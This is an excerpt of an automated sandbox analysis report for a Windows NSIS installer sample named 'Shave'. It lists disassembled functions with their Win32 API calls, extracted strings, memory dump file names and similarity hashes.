CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040446B
GetDlgItem.USER32(?,000003E8), ref: 0040447F
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040449C
GetSysColor.USER32(?), ref: 004044AD
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004044BB
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004044C9
lstrlenW.KERNEL32(?), ref: 004044CE
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004044DB
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004044F0
GetDlgItem.USER32(?,0000040A), ref: 00404549
SendMessageW.USER32(00000000), ref: 00404550
GetDlgItem.USER32(?,000003E8), ref: 0040457B
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004045BE
LoadCursorW.USER32(00000000,00007F02), ref: 004045CC
SetCursor.USER32(00000000), ref: 004045CF
LoadCursorW.USER32(00000000,00007F00), ref: 004045E8
SetCursor.USER32(00000000), ref: 004045EB
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040461A
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040462C

Strings

N, xrefs: 00404569
DC@, xrefs: 004045D7

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: DC@$N
API String ID: 3103080414-4075224758
Opcode ID: 2da216cdb10da56fdc38759a2ba284d26a9c8f7b49192765219d3b76b1da507d
Instruction ID: 7c305bb631aa8564409a9791ba7e53f932479190766108f73685c8e55a50eb1d
Opcode Fuzzy Hash: 2da216cdb10da56fdc38759a2ba284d26a9c8f7b49192765219d3b76b1da507d
Instruction Fuzzy Hash: 3B61A0B1900209BFDF10AF60DD45AAA7B69FB85344F00843AF701B61E0D77DA951CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,007A7A20,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 218f2c87b148b58c94c6785b51cf5afc075c1faf60bc5df3e6f759b2377d660f
Instruction ID: 0958fbfe94b1809001ec2c76305b3cf500f7264b01c73c256976ee1787a3906e
Opcode Fuzzy Hash: 218f2c87b148b58c94c6785b51cf5afc075c1faf60bc5df3e6f759b2377d660f
Instruction Fuzzy Hash: B1418C71800209AFCF058F95DE459AF7BB9FF45310F00842AF591AA1A0CB38D954DFA4

Function 00405EE3 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,00000000,00000000,?,?,0040607E,?,?), ref: 00405F1E
GetShortPathNameW.KERNEL32(?,007A55C0,00000400), ref: 00405F27

Part of subcall function 00405CF2: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000), ref: 00405D02
Part of subcall function 00405CF2: lstrlenA.KERNEL32(00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000), ref: 00405D34

GetShortPathNameW.KERNEL32(?,007A5DC0,00000400), ref: 00405F44
wsprintfA.USER32 ref: 00405F62
GetFileSize.KERNEL32(00000000,00000000,007A5DC0,C0000000,00000004,007A5DC0,?), ref: 00405F9D
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405FAC
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405FE4
SetFilePointer.KERNEL32(0040A560,00000000,00000000,00000000,00000000,007A51C0,00000000,-0000000A,0040A560,00000000,[Rename],00000000,00000000,00000000), ref: 0040603A
GlobalFree.KERNEL32(00000000), ref: 0040604B
CloseHandle.KERNEL32(00000000), ref: 00406052

Part of subcall function 00405D8D: GetFileAttributesW.KERNEL32(007B6800,00402F1D,007B6800,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D91
Part of subcall function 00405D8D: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405DB3

Strings

%ls=%ls, xrefs: 00405F58
[Rename], xrefs: 00405FCC, 00405FDE

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 8e2ef562050374cbdee482ce01d0fc4b650d83fac470073e0dfd2f2c2df1a008
Instruction ID: 42876e8bd8e74e9ce15c52ab3024c97c29192655820983ae090f8c600f4dcad6
Opcode Fuzzy Hash: 8e2ef562050374cbdee482ce01d0fc4b650d83fac470073e0dfd2f2c2df1a008
Instruction Fuzzy Hash: 25312530240B156BD220BB218D48F6B3A9DEF86744F15003AFA42F62D1EA7DD8148ABD

Function 0040336C Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 80stringCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 0040338F
GetVersion.KERNEL32 ref: 00403395
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004033C8

Strings

NSIS Error, xrefs: 0040342E
UXTHEME, xrefs: 004033BC, 004033C1, 004033C7

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: ErrorModeVersionlstrlen
String ID: NSIS Error$UXTHEME
API String ID: 758611499-110662866
Opcode ID: 216c36faef8c5c050b55b88396924ad1417f673f7408521f9ddb59849cb913ab
Instruction ID: a84716d26b240927f2f501cde0935ca932456bd970f48cf256b7861c77eac06c
Opcode Fuzzy Hash: 216c36faef8c5c050b55b88396924ad1417f673f7408521f9ddb59849cb913ab
Instruction Fuzzy Hash: FF218071500700ABD7207F61AE49B1B3AA8AB81705F01843FF981B62E2DF7D49558B6E

Function 004046FF Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040474E
SetWindowTextW.USER32(00000000,?), ref: 00404778
SHBrowseForFolderW.SHELL32(?), ref: 00404829
CoTaskMemFree.OLE32(00000000), ref: 00404834
lstrcmpiW.KERNEL32(007A69C0,007A1F20,00000000,?,?), ref: 00404866
lstrcatW.KERNEL32(?,007A69C0), ref: 00404872
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404884

Part of subcall function 004058E1: GetDlgItemTextW.USER32(?,?,00000400,004048BB), ref: 004058F4

Part of subcall function 0040652B: CharNextW.USER32(?,*?|<>/":,00000000,00000000,007B5800,007B5800,007B3000,00403347,007B5800,75923420,004035B6,?,00000006,00000008,0000000A), ref: 0040658E
Part of subcall function 0040652B: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 0040659D
Part of subcall function 0040652B: CharNextW.USER32(?,00000000,007B5800,007B5800,007B3000,00403347,007B5800,75923420,004035B6,?,00000006,00000008,0000000A), ref: 004065A2
Part of subcall function 0040652B: CharPrevW.USER32(?,?,007B5800,007B5800,007B3000,00403347,007B5800,75923420,004035B6,?,00000006,00000008,0000000A), ref: 004065B5

GetDiskFreeSpaceW.KERNEL32(0079FEF0,?,?,0000040F,?,0079FEF0,0079FEF0,?,00000001,0079FEF0,?,?,000003FB,?), ref: 00404947
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404962

Part of subcall function 00404ABB: lstrlenW.KERNEL32(007A1F20,007A1F20,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B5C
Part of subcall function 00404ABB: wsprintfW.USER32 ref: 00404B65
Part of subcall function 00404ABB: SetDlgItemTextW.USER32(?,007A1F20), ref: 00404B78

Strings

A, xrefs: 00404822

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A
API String ID: 2624150263-3554254475
Opcode ID: f17bf99eb9744ef0591981256be4ea8978b4dd8b1bc8bb353c7e53d074d4b920
Instruction ID: d6689dd06746f62e3dccefeeeb603cce7d7bc9c76077680089f181f5c68842d6
Opcode Fuzzy Hash: f17bf99eb9744ef0591981256be4ea8978b4dd8b1bc8bb353c7e53d074d4b920
Instruction Fuzzy Hash: DFA190F1900209ABDB11AFA5CD41AAFB7B8EF85304F10843BF611B62D1D77C99418B6D

Function 004062B9 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(007A69C0,00000400), ref: 004063FA
GetWindowsDirectoryW.KERNEL32(007A69C0,00000400,00000000,007A0F00,?,00405336,007A0F00,?), ref: 0040640D
SHGetSpecialFolderLocation.SHELL32(6S@,?,00000000,007A0F00,?,00405336,007A0F00,?), ref: 00406449
SHGetPathFromIDListW.SHELL32(?,007A69C0), ref: 00406457
CoTaskMemFree.OLE32(?), ref: 00406462
lstrcatW.KERNEL32(007A69C0,\Microsoft\Internet Explorer\Quick Launch), ref: 00406488
lstrlenW.KERNEL32(007A69C0,00000000,007A0F00,?,00405336,007A0F00,?), ref: 004064E0

Strings

6S@, xrefs: 0040643F, 0040642B
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406482
Software\Microsoft\Windows\CurrentVersion, xrefs: 004063CA

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: 6S@$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-2551480263
Opcode ID: 6ca7045f1a7671301313a85d8900d55d77a8c8edd744d26f36594b0d48a563bf
Instruction ID: 404aa91c63c37ecb41bc9170075bd2a6d7acde9a16fb3e5716bfaea1f71b207e
Opcode Fuzzy Hash: 6ca7045f1a7671301313a85d8900d55d77a8c8edd744d26f36594b0d48a563bf
Instruction Fuzzy Hash: C0613671A00511ABDF209F24DD40ABE37A5AF45314F12813FE943BA2D0EB3C99A1CB5D

Function 00402F6B Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 138memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,0000000A,?,00000006,00000008,0000000A), ref: 0040308E
SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,000000FF,00000000,00000000,?,?), ref: 004030F4

Part of subcall function 00402E79: DestroyWindow.USER32(?,00000000,00403059,00000001,?,00000006,00000008,0000000A), ref: 00402E8C

Strings

Inst, xrefs: 00402FC2
vy, xrefs: 00402F6B
Null, xrefs: 00402FD4
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004030B5
soft, xrefs: 00402FCB

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: AllocDestroyFileGlobalPointerWindow
String ID: Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft$vy
API String ID: 1580554587-3989296954
Opcode ID: dd6470cab726a57cc84fa7a94d20a0cfb733827f7616c352e0bbc3f2355a85a1
Instruction ID: 4f853fa222ecb05c404167484fdfded8992d3bc80b65af41a5722040fb63cb1a
Opcode Fuzzy Hash: dd6470cab726a57cc84fa7a94d20a0cfb733827f7616c352e0bbc3f2355a85a1
Instruction Fuzzy Hash: 9541B271A012059BDF20DF65DD85B9E7FA8EB0175AF14803BE900B62D5DB7C8E808B5D

Function 00404275 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404292
GetSysColor.USER32(00000000), ref: 004042D0
SetTextColor.GDI32(?,00000000), ref: 004042DC
SetBkMode.GDI32(?,?), ref: 004042E8
GetSysColor.USER32(?), ref: 004042FB
SetBkColor.GDI32(?,?), ref: 0040430B
DeleteObject.GDI32(?), ref: 00404325
CreateBrushIndirect.GDI32(?), ref: 0040432F

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 595a5ac3551c8926a474018cd00e052a0643935c19338169816fcf7950983a94
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: BD2135716007049FCB219F68DD48B5BBBF8AF81715B048A3EED96A26E0D734E944CB54

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405E6E: SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,00000000,?,?,0040262F,00000000,00000000,?,00000000,00000011), ref: 00405E84

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: d48387ae3e024a72c6243637e6df33ec40d1b18911dabf8db30d8cce87806c70
Instruction ID: 60624729709df044e3b9a276a2138f1bd207bb457e97f94edfd4483e5cf9eee0
Opcode Fuzzy Hash: d48387ae3e024a72c6243637e6df33ec40d1b18911dabf8db30d8cce87806c70
Instruction Fuzzy Hash: 61510974D10219AEDF219F95DA88AAEB779FF04304F50443BE901F72D0DBB89982CB58

Function 0040312F Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403180
GetTickCount.KERNEL32 ref: 00403204
MulDiv.KERNEL32(7FFFFFFF,00000064,00008000), ref: 0040322D
wsprintfW.USER32 ref: 00403240

Strings

5, xrefs: 004031EC
... %d%%, xrefs: 0040323A

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%$5
API String ID: 551687249-3328568109
Opcode ID: 2b12612690519de3068172d76ec2280cdcede413f29547579ccd35042eb19dae
Instruction ID: 82e96eed204572331df772a9dc06b49ed9c909a247c3debab706571384c66a49
Opcode Fuzzy Hash: 2b12612690519de3068172d76ec2280cdcede413f29547579ccd35042eb19dae
Instruction Fuzzy Hash: 7841B171900209DBCB10DFA5DA84B9E7FB8AF44356F1442BBE915B72D0C7788B50CB99

Function 004052FF Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(007A0F00), ref: 00405337
lstrlenW.KERNEL32(?,007A0F00), ref: 00405347
lstrcatW.KERNEL32(007A0F00,?,?,007A0F00), ref: 0040535A
SetWindowTextW.USER32(007A0F00,007A0F00), ref: 0040536C
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405392
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053AC
SendMessageW.USER32(?,00001013,?,00000000), ref: 004053BA

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: f9f97bae3afdd1c4f1ca6782e82fa35db0496c66d131c2d1178b0595b913afc0
Instruction ID: 8b92f55a8d4b67b8ae829402156b3fb25f72412c241cd3f1eea2d9b1658803e5
Opcode Fuzzy Hash: f9f97bae3afdd1c4f1ca6782e82fa35db0496c66d131c2d1178b0595b913afc0
Instruction Fuzzy Hash: 66216071900618BACB11AFA5DD859CFBF78EF85350F10846AF904B62A0C7B94A50CF98

Function 00404BC9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404BE4
GetMessagePos.USER32 ref: 00404BEC
ScreenToClient.USER32(?,?), ref: 00404C06
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404C18
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404C3E

Strings

f, xrefs: 00404C1A

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: e2d68be7770c43893e1e2478522bb0d44a2fa382b0b36792216c84cf33d7cb12
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 6F015E71D00218BAEB00DB94DD85BFFBBBCAF95B11F10412BBA51B61D0C7B49A018BA4

Function 00402DF3 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
MulDiv.KERNEL32(?,00000064,?), ref: 00402E3C
wsprintfW.USER32 ref: 00402E4C
SetWindowTextW.USER32(?,?), ref: 00402E5C
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E6E

Strings

verifying installer: %d%%, xrefs: 00402E46

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 1a328351c5421bd6383489faae0abdae529a3cf17d73acb180239156b2535a4a
Instruction ID: 3b7df5e00b9d055b55134e233a6447c2e1405f162d6c23549fa63679cea1b34f
Opcode Fuzzy Hash: 1a328351c5421bd6383489faae0abdae529a3cf17d73acb180239156b2535a4a
Instruction Fuzzy Hash: 5601677164020CBFDF109F50DD49FAE3B69AB04305F108439FA05B51E0DBB98555CF58

Function 00406601 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406618
wsprintfW.USER32 ref: 00406653
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406667

Strings

%s%S.dll, xrefs: 0040664D
\, xrefs: 00406629
UXTHEME, xrefs: 0040660A

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction ID: 65f2176863960af248fb2a7cbd18121a9a3b282edca47cb762b3bdaa43f9a997
Opcode Fuzzy Hash: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction Fuzzy Hash: 14F0217050121967CB10AB68DD0DFDB376CA700304F10447AB547F10D1EBBDDA65CB98

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 550d24ea38cda2d92e74c1bb79bc0c47b539332056a7156cf0f117270c7474f2
Instruction ID: 9b62f472eb3a95df078ad497759be9c31f6c15c11f60cf08f6005a6c9cb4e6e4
Opcode Fuzzy Hash: 550d24ea38cda2d92e74c1bb79bc0c47b539332056a7156cf0f117270c7474f2
